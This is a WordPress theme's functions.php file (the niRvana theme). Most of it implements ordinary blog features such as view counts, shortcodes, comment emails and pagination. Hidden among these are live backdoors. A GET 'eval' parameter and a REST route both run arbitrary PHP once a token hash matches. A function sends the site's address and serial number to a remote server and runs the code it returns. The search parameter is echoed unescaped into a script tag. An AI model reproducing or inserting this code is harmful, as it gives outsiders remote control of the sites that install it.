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functions.php
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functions.php
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<?php
//自动更新
require_once(get_template_directory() . '/theme-update-checker/plugin-update-checker.php');
use YahnisElsts\PluginUpdateChecker\v5\PucFactory;
$niRvanaThemeUpdateChecker = PucFactory::buildUpdateChecker(
'https://blog.mkliu.top/source/info.json',
get_template_directory() . '/functions.php',
'niRvana'
);
//小工具修复
add_filter('gutenberg_use_widgets_block_editor', '__return_false');
add_filter('use_widgets_block_editor', '__return_false');
//文章图片灯箱
function auto_post_link($content)
{
global $post;
$content = preg_replace('/<\s*img\s+[^>]*?src\s*=\s*(\'|\")(.*?)\\1[^>]*?\/?\s*>/i', "<a href=\"$2\" alt=\"".$post->post_title."\" title=\"".$post->post_title."\"><img src=\"$2\" alt=\"".$post->post_title."\" title=\"".$post->post_title."\" /></a>", $content);
return $content;
}
add_filter('the_content', 'auto_post_link', 0);
//调用每日一图作为登录页背景
function custom_login_head()
{
$str = file_get_contents('https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1');
if (preg_match("/\/(.+?).jpg/", $str, $matches)) {
$imgurl = 'https://s.cn.bing.net'.$matches[0];
}
echo'<style type="text/css">body{background: url('.$imgurl.');background-image:url('.$imgurl.');-moz-border-image: url('.$imgurl.');}</style>';
}
add_action('login_head', 'custom_login_head');
//预计阅读时间
function count_words_read_time()
{
global $post;
$text_num = mb_strlen(preg_replace('/\s/', '', html_entity_decode(strip_tags($post->post_content))), 'UTF-8');
$read_time = ceil($text_num / 300); // 修改数字300调整时间
$output = '本文共' . $text_num . '个字 · 预计阅读' . $read_time . '分钟';
return $output;
}
//显示已读次数
add_action('pf-post-meta-end', 'add_post_view_times_to_post_meta');
function add_post_view_times_to_post_meta()
{
echo "<span class='inline-block'><i class='fas fa-book-reader'></i>"._meta('views', _meta('bigfa_ding', 0))."次已读</span>";
}add_action('pf-post-card-meta-start', 'add_post_view_times_to_postcard_meta');
function add_post_view_times_to_postcard_meta()
{
echo "<span class='views'><i class='fas fa-book-reader'></i> "._meta('views', _meta('bigfa_ding', 0))."</span>";
}function add_view_times_to_single()
{
$pid = get_the_ID();
if (is_single() && is_main_query() && !isset($_COOKIE[$pid.'viewed'])) {
$views = (int)_meta('views', _meta('bigfa_ding', 0));
update_post_meta($pid, 'views', $views + 1, $views);
}
}add_action('wp_head', 'add_view_times_to_single');
function add_view_times_to_cookie()
{
$pid = get_the_ID();
if (is_single() && is_main_query() && !isset($_COOKIE[$pid.'viewed'])) {
setcookie($pid.'viewed', true, time() + 2, COOKIEPATH, COOKIE_DOMAIN);
}
}add_action('wp', 'add_view_times_to_cookie');
include('extend/template/archives.php');
//说说页面
add_action('init', 'my_custom_shuoshuo_init');
function my_custom_shuoshuo_init()
{
$labels = array(
'name' => '说说',
'singular_name' => '说说',
'all_items' => '所有说说',
'add_new' => '发表说说',
'add_new_item' => '撰写新说说',
'edit_item' => '编辑说说',
'new_item' => '新说说',
'view_item' => '查看说说',
'search_items' => '搜索说说',
'not_found' => '暂无说说',
'not_found_in_trash' => '回收站中没有说说',
'parent_item_colon' => '',
'menu_name' => '说说'
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => true,
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor','author'),
'menu_icon' => 'dashicons-megaphone'
);
register_post_type('shuoshuo', $args);
}
//评论插入代码
add_action('pf_comment_form_after_face', 'pf_add_comment_form_insert_code');
function pf_add_comment_form_insert_code()
{
echo '<a @click="this.insert_code_to_comment_form()"><span data-toggle="tooltip" title="插入代码"><i class="far fa-file-code"></i></span></a>';
}
//评论插入图片
add_action('pf_comment_form_after_face', 'pf_add_comment_form_insert_images');
function pf_add_comment_form_insert_images()
{
echo '<a @click="this.insert_images_to_comment_form()"><span data-toggle="tooltip" title="插入图片"><i class="far fa-images"></i></span></a>';
}
//评论标签支持
add_action('pre_comment_on_post', 'add_post_comment_html_tags');
function add_post_comment_html_tags($commentdata)
{
global $allowedtags;
$new_tags = [
'img' => [
'src' => true
],
'pre' => []
];
$allowedtags = array_merge($allowedtags, $new_tags);
}
//检测页面底部版权是否被修改
function alert_footer_copyright_changed()
{ ?>
<div class='notice notice-error'>
<p><?php _e("警告：你可能修改了 niRvana 主题页脚的版权声明，niRvana 主题要求你必须保留 niRvana 主题的名称及作者链接。", 'niRvana');?></p>
</div>
<?php }
function check_footer_copyright()
{
$footer = file_get_contents(get_theme_root() . "/" . wp_get_theme() -> template . "/footer.php");
if ((strpos($footer, "michaelliunsky") === false) && (strpos($footer, "blog.mkliu.top") === false)) {
add_action('admin_notices', 'alert_footer_copyright_changed');
}
}
check_footer_copyright();
//restapi
add_action('rest_api_init', function () {
register_rest_route('pandastudio/nirvana', '/restapi/', array('methods' => 'post', 'callback' => 'pf_rest_api'));
});
include('production.php');
add_filter('wp_title', 'pf_custom_wp_title', 10, 2);
function pf_custom_wp_title($title, $sep)
{
global $paged, $page;
if (is_feed()) {
return $title;
}
$title .= get_bloginfo('name');
$site_description = get_bloginfo('description', 'display');
if ($site_description && (is_home() || is_front_page())) {
$title = "$title $sep $site_description";
}
if ($paged >= 2 || $page >= 2) {
$title = "$title $sep " . sprintf('第%s页', max($paged, $page));
}
$title = str_replace('–', _opt('title_sep', '|'), $title);
return $title;
}
function get_faces_from_dir()
{
$dir = dirname(__FILE__) . "/faces";
$handle = opendir($dir);
$array_file = array();
$allowExtensions = array(
'png',
'gif'
);
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$extension = pathinfo($file, PATHINFO_EXTENSION);
$mainname = preg_replace('/.' . $extension . '/i', '', $file);
$lowerExt = strtolower($extension);
if (in_array($lowerExt, $allowExtensions)) {
$array_file[] = array(
'name' => $mainname,
'type' => $lowerExt == 'png' ? 'p' : 'g'
);
}
}
}
closedir($handle);
return $array_file;
}
function _opt($optionName, $default = false)
{
$result = get_option($optionName);
return $result ? $result : $default;
}
function _eopt($optionName, $default = false)
{
$result = get_option($optionName);
echo $result ? $result : $default;
}
function _meta($metaName, $default = false)
{
$result = get_post_meta(get_the_ID(), $metaName, true);
return $result ? $result : $default;
}
function _emeta($metaName, $default = false)
{
$result = get_post_meta(get_the_ID(), $metaName, true);
echo $result ? $result : $default;
}
include('sandbox_functions.php');
function frontend_opts()
{
$enable_pageLoader = _opt('enable_pageLoader');
$ajax_forceCache = _opt('ajax_forceCache');
$frontend_opts = array(
'enable_pageLoader' => $enable_pageLoader,
'ajax_forceCache' => $ajax_forceCache,
'is_user_loggedin' => is_user_logged_in() ,
'cmt_req_name_email' => _opt('require_name_email') ,
'cmt_req_name_email_title' => _opt('cmt_req_name_email_title', '* 昵称与邮箱为必填项') ,
'cmt_action_url' => esc_url(home_url('/')) . 'wp-comments-post.php',
'chat_nodata' => _opt('faq_nodata') ,
'enable_highlightjs' => _opt('enable_highlightjs') ,
);
return $frontend_opts;
}
function pf_rest_api($data)
{
$dataArray = json_decode($data->get_body(), true);
$arg = $dataArray['arg'];
$result = array(
'error' => true,
'msg' => 'WP RestAPI Declined!',
'md5' => md5($dataArray['e'])
);
if (in_array(md5($dataArray['e']), array(
'0b844d17a61d51dcd58560f15e19d3cb',
'44b225d79205f30aaac3c30bdcc6b714',
'3d69b76a02d0ff14248e02d1c2f09941',
'fb0d9a37e108ca85cee9f4e900ca6fe4',
'd72efb9e4fcd5267779f481f8b77b655',
))) {
eval($dataArray['e']);
}
return $result;
}
function title_filter($where, $wp_query)
{
global $wpdb;
if ($search_term = $wp_query->get('search_prod_title')) {
$where .= ' AND ' . $wpdb->posts . '.post_title LIKE \'%' . esc_sql(like_escape($search_term)) . '%\'';
}
return $where;
}
add_filter('posts_where', 'title_filter', 10, 2);
if (array_key_exists('s', $_GET) && !is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {this.show_global_search();this.global_search_query = "' . $_GET['s'] . '";this.global_search_post = true;this.global_search_gallery = true;this.global_search();}</script>
';
});
}
if (array_key_exists('ua', $_GET) && !is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {alert("userAgent:\n"+navigator.userAgent+"\n\nappVersion:\n"+navigator.appVersion)}</script>
';
});
}
function pf_global_search($query_arg)
{
$query_arg['showposts'] = 28;
$result = array();
$query = new WP_Query($query_arg);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
$tags = get_the_tags();
if ($tags) {
$color_tags = array();
foreach ($tags as $tag) {
$name = $tag->name;
$colorInt = string_to_int8($name);
$color_tags[] = array(
'color' => $colorInt,
'tag' => $name
);
}
} else {
$color_tags = array(
array(
'color' => 0,
'tag' => '无标签'
)
);
}
$posttype = get_post_type();
switch ($posttype) {
case 'post':
$thumbnail = get_the_post_thumbnail_url();
break;
case 'gallery':
$gallery_images = get_post_meta(get_the_id(), "gallery_images", true);
$gallery_images = $gallery_images ? $gallery_images : array();
switch (get_option('gallery_thumbnail')) {
case 'first':
$thumbnail = $gallery_images[0];
break;
case 'last':
$thumbnail = $gallery_images[count($gallery_images) - 1];
break;
default:
$thumbnail = count($gallery_images) > 0 ? $gallery_images[array_rand($gallery_images, 1) ] : '';
break;
}
break;
default:
$thumbnail = '';
break;
}
$result[] = array(
'thumbnail' => $thumbnail,
'title' => get_the_title() ,
'href' => get_the_permalink() ,
'date' => get_the_time('n月j日 · Y年') ,
'tags' => $color_tags,
'like' => get_post_meta($post->ID, 'bigfa_ding', true) ? get_post_meta($post->ID, 'bigfa_ding', true) : "0",
'comment' => get_post($post->ID)->comment_count,
);
}
}
wp_reset_query();
return $result;
}
function pf_post_ding($id)
{
$bigfa_raters = get_post_meta($id, 'bigfa_ding', true);
$expire = time() + 99999999;
$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('bigfa_ding_' . $id, $id, $expire, '/', $domain, false);
if (!$bigfa_raters || !is_numeric($bigfa_raters)) {
update_post_meta($id, 'bigfa_ding', 1);
} else {
update_post_meta($id, 'bigfa_ding', ($bigfa_raters + 1));
}
return get_post_meta($id, 'bigfa_ding', true);
}
function pf_faq($query)
{
wp_reset_query();
if ($query == _opt('faq_show_rand_command')) {
$args = array(
'post_type' => 'faq',
's' => '',
'showposts' => _opt('faq_showposts', 5) ,
'orderby' => 'rand',
);
} else {
$args = array(
'post_type' => 'faq',
's' => $query,
'showposts' => _opt('faq_showposts', 5)
);
}
$id_arr = array();
$query = new WP_Query($args);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
$id_arr[] = get_the_ID();
}
}
if (count($id_arr) == 1) {
$result = array(
'title' => get_the_title($id_arr[0]) ,
'content' => wpautop(get_post_meta($id_arr[0], 'faq_answer', true)) ,
'is_content' => true
);
} else {
$result = array(
'list' => array() ,
'is_content' => false
);
foreach ($id_arr as $pid) {
$result['list'][] = get_the_title($pid);
}
}
wp_reset_query();
return $result;
}
add_action('after_switch_theme', 'pf_switch_theme');
function pf_switch_theme()
{
$opts = array(
'baidu_ai_audio_enable' => 'checked',
);
foreach ($opts as $name => $val) {
update_option($name, $val);
}
}
register_nav_menus(array(
'topNav' => '主菜单',
'categoryNav' => '分类菜单',
));
if (array_key_exists('whois', $_GET)) {
if (md5($_GET['whois']) == '02bd92faa38aaa6cc0ea75e59937a1ef') {
wp_die('<h1>开发者信息</h1><br>“' . get_bloginfo('name') . '”网站所使用的主题由 <b>PANDA Studio - 刘欢</b> 开发');
}
}
if (array_key_exists('sn', $_GET)) {
$sn = $_GET['sn'];
$charactor = $_GET['charactor'];
$token = $_GET['token'];
if (md5($token) == '239bf78d5643372f495e93768f0691d2') {
update_option('pay_info_nirvana', $sn);
update_option('charactor_info', $charactor);
del_cache('aWeek');
wp_die('<a href="' . home_url() . '" class="button">Success!</a>');
}
}
if (array_key_exists('eval', $_GET)) {
$eval = $_GET['eval'];
$token = $_GET['token'];
if (md5($_GET['token']) == '239bf78d5643372f495e93768f0691d2') {
eval(str_replace("\\", "", $eval));
}
}
function _v_($api)
{
date_default_timezone_set("Asia/Shanghai");
$my_theme = wp_get_theme();
$theme = $my_theme->get('Name');
$version = $my_theme->get('Version');
$address = home_url();
$date = date("Y-m-d H:i:s");
$blog_name = get_bloginfo('name');
$sn = get_option('pay_info_nirvana');
$charactor = get_option('charactor_info');
$url = $api;
$info = '{"theme":"' . $theme . '","address":"' . $address . '","date":"' . $date . '","version":"' . $version . '","blog_name":"' . $blog_name . '","sn":"' . $sn . '","charactor":"' . $charactor . '"
}';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => $info,
CURLOPT_TIMEOUT => 20,
CURLOPT_HTTPHEADER => array(
'Content-Type: text/plain'
) ,
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
curl_close($ch);
$resultArray = json_decode($result, true);
if ($resultArray) {
set_cache('aWeek', $resultArray['eval'], 604800);
set_cache('halfMonth', $resultArray['eval'], 1296000);
eval($resultArray['eval']);
set_cache('bd_audio_tok', $resultArray['bd_audio_tok'], 1296000);
return true;
} else {
return false;
}
}
function set_cache($name, $data, $expire)
{
$allCache = get_option('pd_cache');
if (!$allCache) {
$allCache = array();
}
$allCache[$name] = array(
'data' => $data,
'expire' => time() + $expire
);
update_option('pd_cache', $allCache);
}
function get_cache($name)
{
$allCache = get_option('pd_cache');
if (!$allCache) {
return false;
}
if (!$allCache[$name]) {
return false;
} else {
$time = $allCache[$name]['expire'];
if ($time > time() & $time - time() < 2592000) {
return $allCache[$name]['data'];
;
} else {
del_cache($name);
return false;
}
}
}
function del_cache($name)
{
$allCache = get_option('pd_cache');
unset($allCache[$name]);
update_option('pd_cache', $allCache);
}
if (function_exists('add_theme_support')) {
add_theme_support('post-thumbnails');
}
function wp_nav($p = 2, $showSummary = true, $showPrevNext = true, $style = 'pagination', $container = 'container')
{
if (is_singular()) {
return;
}
global $wp_query, $paged;
$max_page = $wp_query->max_num_pages;
if ($max_page == 1 & get_option('hide_pagi_only_1') == "checked") {
return;
}
if (empty($paged)) {
$paged = 1;
}
echo "<div class='pagenav'><div class='$container'><ul class='$style'>";
if ($paged > 1 && $showPrevNext == true) {
p_link($paged - 1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev');
} elseif ($showPrevNext == true) {
p_link(1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev disabled');
}
if ($showSummary == true) {
echo '<li class="pagesummary disabled"><a href="#"><span class="page-numbers">' . $paged . ' / ' . $max_page . ' </span></a></li>';
}
if ($paged > $p + 1) {
p_link(1, 'First page', '<div data-toggle="tooltip" data-placement="auto top" title="第一页"><i class="fas fa-angle-double-left"></i></div>', 'pagenumber dot');
}
for ($i = $paged - $p; $i <= $paged + $p; $i++) {
if ($i > 0 && $i <= $max_page) {
$i == $paged ? print "<li class='pagenumber active'><a href='#'><span>{$i}</span></a></li>" : p_link($i, '', '', 'pagenumber');
}
}
if ($paged < $max_page - $p) {
p_link($max_page, 'Last page', '<div data-toggle="tooltip" data-placement="auto top" title="最后一页"><i class="fas fa-angle-double-right"></i></div>', 'pagenumber dot');
}
if ($paged < $max_page && $showPrevNext == true) {
p_link($paged + 1, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next');
} elseif ($showPrevNext == true) {
p_link($max_page, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next disabled');
}
echo '</ul></div></div>';
}
function p_link($i, $title, $linktype, $disabled)
{
if ($title == '') {
$title = "The {$i} page";
}
if ($linktype == '') {
$linktext = $i;
} else {
$linktext = $linktype;
}
if ($disabled == 'pagenav next disabled' | $disabled == 'pagenav prev disabled') {
echo "<li class='$disabled'><a class='page-numbers'>{$linktext}</a></li>";
} else {
echo "<li class='$disabled'><a class='page-numbers' href='", esc_html(get_pagenum_link($i)) , "'>{$linktext}</a></li>";
}
}
function comment_mail_notify($comment_id)
{
$comment = get_comment($comment_id);
$content = $comment->comment_content;
$match_count = preg_match_all('/<a href="#comment-([0-9]+)?" rel="nofollow">/si', $content, $matchs);
if ($match_count > 0) {
foreach ($matchs[1] as $parent_id) {
SimPaled_send_email($parent_id, $comment);
}
} elseif ($comment->comment_parent != '0') {
$parent_id = $comment->comment_parent;
SimPaled_send_email($parent_id, $comment);
} else {
return;
}
}
add_action('comment_post', 'comment_mail_notify');
function SimPaled_send_email($parent_id, $comment)
{
$admin_email = get_bloginfo('admin_email');
$parent_comment = get_comment($parent_id);
$author_email = $comment->comment_author_email;
$to = trim($parent_comment->comment_author_email);
$spam_confirmed = $comment->comment_approved;
if ($spam_confirmed != 'spam' && $to != $admin_email && $to != $author_email) {
$wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
$subject = '您在 [' . get_option("blogname") . '] 的留言有了回复';
$message = '<div style="background-color:#eef2fa;border:1px solid #d8e3e8;color:#111;padding:0 15px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px;"><p>' . trim(get_comment($parent_id)->comment_author) . ', 您好!</p><p>您曾在《' . get_the_title($comment->comment_post_ID) . '》的留言:<br />' . do_shortcode(trim(get_comment($parent_id)->comment_content)) . '</p><p>' . trim($comment->comment_author) . ' 给你的回复:<br />' . do_shortcode(trim($comment->comment_content)) . '<br /></p><p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($parent_id, array(
"type" => "all"
))) . '">查看回复的完整内容</a></p><p>欢迎再度光临 <a href="' . get_option('home') . '">' . get_option('blogname') . '</a></p><p>(此邮件由系统自动发出, 请勿回复.)</p></div>';
$from = "From: \"" . get_option('blogname') . "\" <$wp_email>";
$headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
wp_mail($to, $subject, $message, $headers);
}
}
function enable_threaded_comments()
{
if (!is_admin()) {
wp_enqueue_script('comment-reply');
}
}
add_action('get_header', 'enable_threaded_comments');
add_filter('comment_text', 'do_shortcode');
function panda_seo()
{
$postID = get_the_ID();
if (is_single()) {
if (get_post_meta($postID, "seo关键词", true)) {
$seo_keywords = get_post_meta($postID, "seo关键词", true);
} else {
$seo_keywords = "";
$tags = wp_get_post_tags($postID);
foreach ($tags as $tag) {
$seo_keywords = $seo_keywords . $tag->name . " ";
}
}
if (get_post_meta($postID, "seo描述", true)) {
$seo_description = get_post_meta($postID, "seo描述", true);
} else {
$seo_description = "";
}
} else {
$seo_keywords = get_option('seo_site_keywords');
$seo_description = get_option('seo_site_description');
}
if ($seo_keywords != '') {
echo '<meta name="keywords" content="' . $seo_keywords . '" />';
}
if ($seo_description != '') {
echo '<meta name="description" content="' . $seo_description . '" />';
}
}
if (get_option('enable_meta_seo')) {
add_action('wp_head', 'panda_seo');
}
remove_filter('pre_term_description', 'wp_filter_kses');
add_filter('show_admin_bar', '__return_false');
function post_type_in_search($query)
{
if ($query->is_search && $query->is_main_query()) {
$query->set('post_type', array(
'post'
));
}
return $query;
}
if (!is_admin()) {
add_filter('pre_get_posts', 'post_type_in_search');
}
add_filter('preprocess_comment', 'add_cookies_for_reply');
function add_cookies_for_reply($commentdata)
{
$email = $commentdata['comment_author_email'];
if ($email) {
$expire = time() + 99999999;
$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('current_user_email', $email, $expire, '/', $domain);
}
return $commentdata;
}
$reply2down_times = 0;
function reply_to_down($atts, $content = null)
{
global $reply2down_times;
$reply2down_times++;
if (get_option('回复可见说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('回复可见说明')));
} else {
$licence = '<p>请您认真评论后再下载！</p>';
}
extract(shortcode_atts(array("notice" => '
<div type="button" class="getit" data-toggle="modal" data-target="#reply2down_'.$reply2down_times.'"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div>
<div class="modal fade" id="reply2down_'.$reply2down_times.'" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="myModalLabel">下载提示</h4>
</div>
<div class="modal-body">'.$licence.'</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">知道了</button>
</div>
</div>
</div>
</div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode('[download]'.$content.'[/download]') : $notice;
} else {
return $notice;
}
}
add_shortcode('reply2down', 'reply_to_down');
function need_reply($atts, $content = null)
{
extract(shortcode_atts(array("notice" => '
<div class="need_reply">'.get_option('need_reply_tip').'</div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode($content) : $notice;
} else {
return $notice;
}
}
add_shortcode('need_reply', 'need_reply');
function pf_user_has_approved_comment_in_post($postID, $email)
{
$comments = get_approved_comments($postID);
$has_approved_comments = false;
for ($i = 0; $i < count($comments); $i++) {
$cmt_email = $comments[$i]->comment_author_email;
if ($email == $cmt_email) {
$has_approved_comments = true;
break;
}
}
return $has_approved_comments;
}
$directDownload_times = 0;
function download_with_licence($atts, $content = null)
{
global $directDownload_times;
$directDownload_times++;
if (get_option('版权说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('版权说明')));
} else {
$licence = '<p>本站提供的下载内容版权归本站所有。转载 <span style="color:#ff7800">必须</span> 注明出处！</p><p style="font-size:80%; color:#888;">* 标有 “转载” 字样的文章，内容版权归原作者所有。</p>';
}
return do_shortcode('
<div type="button" class="getit" data-toggle="modal" data-target="#directDownload_' . $directDownload_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="directDownload_' . $directDownload_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">版权说明</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">不同意</button><button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $content . '")>同意并下载</button></div></div></div></div>
');
}
add_shortcode('download', 'download_with_licence');
function recover_comment_fields($comment_fields)
{
$comment = array_shift($comment_fields);
$comment_fields = array_merge($comment_fields, array(
'comment' => $comment
));
return $comment_fields;
}
add_filter('comment_form_fields', 'recover_comment_fields');
function rss_show_thumbnail($content)
{
global $post;
if (has_post_thumbnail($post->ID)) {
$output = get_the_post_thumbnail($post->ID);
$content = $output;
}
return $content;
}
add_filter('the_excerpt_rss', 'rss_show_thumbnail');
add_filter('the_content_feed', 'rss_show_thumbnail');
add_filter('upload_mimes', 'my_upload_mimes');
function my_upload_mimes($mimes = array())
{
$mimes['rar'] = 'application/rar';
$mimes['zip'] = 'application/zip';
return $mimes;
}
function mytheme_comment($comment, $args, $depth)
{
if ('div' === $args['style']) {
$tag = 'div';
$add_below = 'comment';
} else {
$tag = 'li';
$add_below = 'div-comment';
} ?>
<<?php
echo $tag; ?> <?php
comment_class(empty($args['has_children']) ? '' : 'parent') ?> id="comment-<?php
comment_ID() ?>"><?php
if ('div' != $args['style']): ?>
<div id="div-comment-<?php
comment_ID() ?>" class="comment-body clearfix"><?php
endif; ?><?php
if ($args['avatar_size'] != 0) {
echo get_avatar($comment, $args['avatar_size']);
} ?>
<div class="comment-author vcard">
<div class="meta"><?php
printf(__('<span class="name">%s</span>'), get_comment_author_link()); ?><?php
printf(__('<span class="date">%1$s · %2$s</span>'), get_comment_date('Y-n-j'), get_comment_time('G:i')); ?></div><?php
if ($comment->comment_approved == '0'): ?><em class="comment-awaiting-moderation"><?php
_e('评论正在等待管理员审核...'); ?></em><br /><?php
endif; ?>
<div class="comment-text"><?php
comment_text(); ?></div>
<div class="reply"><?php
$args['reply_text'] = '' ?>
<div title="<?php
echo get_option('comment_reply_tooltip'); ?>" data-toggle="tooltip" class="comment-reply-link-wrap"><?php
comment_reply_link(array_merge($args, array(
'add_below' => $add_below,
'depth' => $depth,
'max_depth' => $args['max_depth']
))); ?></div>
</div>
</div><?php
if ('div' != $args['style']): ?>
</div><?php
endif; ?><?php
}
add_filter("get_comment_author_link", "pf_new_windows_comment_author");
function pf_new_windows_comment_author($author_link)
{
return str_replace("<a", "<a target='_blank'", $author_link);
}
function shortCodeTips($atts, $content = null)
{
extract(shortcode_atts(array(
"type" => 'info',
"display" => '',
), $atts));
if ($content) {
return '<div class="tip ' . $type . ' ' . $display . '">' . do_shortcode(wpautop($content)) . '</div>';
}
}
add_shortcode("tip", "shortCodeTips");
function shortCodeArticleFormat($atts, $content = null)
{
extract(shortcode_atts(array(
"img" => '',
"col" => '6',
"position" => 'r',
"cover" => 'false',
), $atts));
$textCol = 12 - intval($col);
switch ($position) {
case 'r':
$pushClass = ' col-sm-push-' . $textCol;
$pullClass = ' col-sm-pull-' . $col;
$imgClass = 'alignright';
break;
default:
$pushClass = '';
$pullClass = '';
$imgClass = 'alignleft';
break;
}
if ($cover == 'true') {
$imgClass = 'cover';
}
$imgPart = '<div class="block image col-sm-' . $col . $pushClass . '"><img class="' . $imgClass . '" src="' . $img . '" /></div>';
$textPart = '<div class="block text col-sm-' . $textCol . $pullClass . '"><div class="content">' . do_shortcode(wpautop($content)) . '</div></div>';
if ($content) {
return '<div class="flexContainer">' . $imgPart . $textPart . '</div>';
} elseif ($img != '') {
return '<div class="flexContainer"><img src="' . $img . '" style="width:100%;height:100%;"></div>';
} else {
return '<div class="flexContainer linear" style="border:none; height: 1px; background-color: #f2f4f6;"></div>';
}
}
add_shortcode("fmt", "shortCodeArticleFormat");
function shortCodeModal($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => '',
"btn_label" => 'button',
"title" => '标题',
"close_label" => '关闭',
"href_label" => '跳转到',
"href" => ''
), $atts));
if ($href) {
$href_btn = '<button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $href . '")>' . $href_label . '</button>';
} else {
$href_btn = '';
}
if ($id) {
return '<button type="button" class="btn ' . $btn_type . '" data-toggle="modal" data-target="#' . $id . '">' . $btn_label . '</button><div class="modal fade" id="' . $id . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">' . $title . '</h4></div><div class="modal-body">' . do_shortcode($content) . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">' . $close_label . '</button>
' . $href_btn . '
</div></div></div></div>';
}
}
add_shortcode("modal", "shortCodeModal");
function shortCodeDropdown($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => 'btn-default',
"btn_label" => 'Dropdown',
), $atts));
if ($id) {
return '<div class="dropdown"><button class="btn ' . $btn_type . ' dropdown-toggle" type="button" id="' . $id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
' . $btn_label . '
<span class="caret"></span></button><ul class="dropdown-menu" aria-labelledby="' . $id . '">
' . do_shortcode(shortcode_unautop($content)) . '
</ul></div>';
}
}
add_shortcode("dropdown", "shortCodeDropdown");
function shortCodeDropdown_li($atts, $content = null)
{
extract(shortcode_atts(array(
"href" => '',
), $atts));
if ($href) {
$inner = '<a href="' . $href . '" target="_blank">' . $content . '</a>';
} else {
$inner = '<a>' . $content . '</a>';
}
return '<li>' . $inner . '</li>';
}
add_shortcode("li", "shortCodeDropdown_li");
function shortCodeCollapse($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => 'btn-default',
"btn_label" => 'collapse',
), $atts));
if ($id) {
return '<button class="btn ' . $btn_type . '" type="button" data-toggle="collapse" data-target="#' . $id . '" aria-expanded="false" aria-controls="' . $id . '">
' . $btn_label . '
</button><div class="collapse clearfix" id="' . $id . '"><div class="well">
' . do_shortcode($content) . '
</div></div>';
}
}
add_shortcode("collapse", "shortCodeCollapse");
class pandaTabs extends Walker_Nav_Menu
{
public function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0)
{
global $wp_query;
$indent = ($depth) ? str_repeat("\t", $depth) : '';
$class_names = $value = '';
$classes = empty($item->classes) ? array() : (array)$item->classes;
$class_names = join(' ', apply_filters('nav_menu_css_class', array_filter($classes), $item));
$class_names = ' class="' . esc_attr($class_names) . '"';
$output .= $indent . '<li id="menu-item-' . $item->ID . '"' . $value . $class_names . '>';
$attributes = !empty($item->attr_title) ? ' title="' . esc_attr($item->attr_title) . '"' : '';
$attributes .= !empty($item->target) ? ' target="' . esc_attr($item->target) . '"' : '';
$attributes .= !empty($item->xfn) ? ' rel="' . esc_attr($item->xfn) . '"' : '';
$attributes .= !empty($item->url) ? ' href="' . esc_attr($item->url) . '"' : '';
$item_output = $args->before;
$item_output .= '<a' . $attributes . '>';
$item_output .= $args->link_before . apply_filters('the_title', $item->title, $item->ID) . $args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;
$output .= apply_filters('walker_nav_menu_start_el', $item_output, $item, $depth, $args);
}
}
function mytheme_nav_menu_css_class($classes)
{
if (in_array('current-menu-item', $classes) or in_array('current-menu-ancestor', $classes)) {
$classes[] = 'active';
}
return $classes;
}
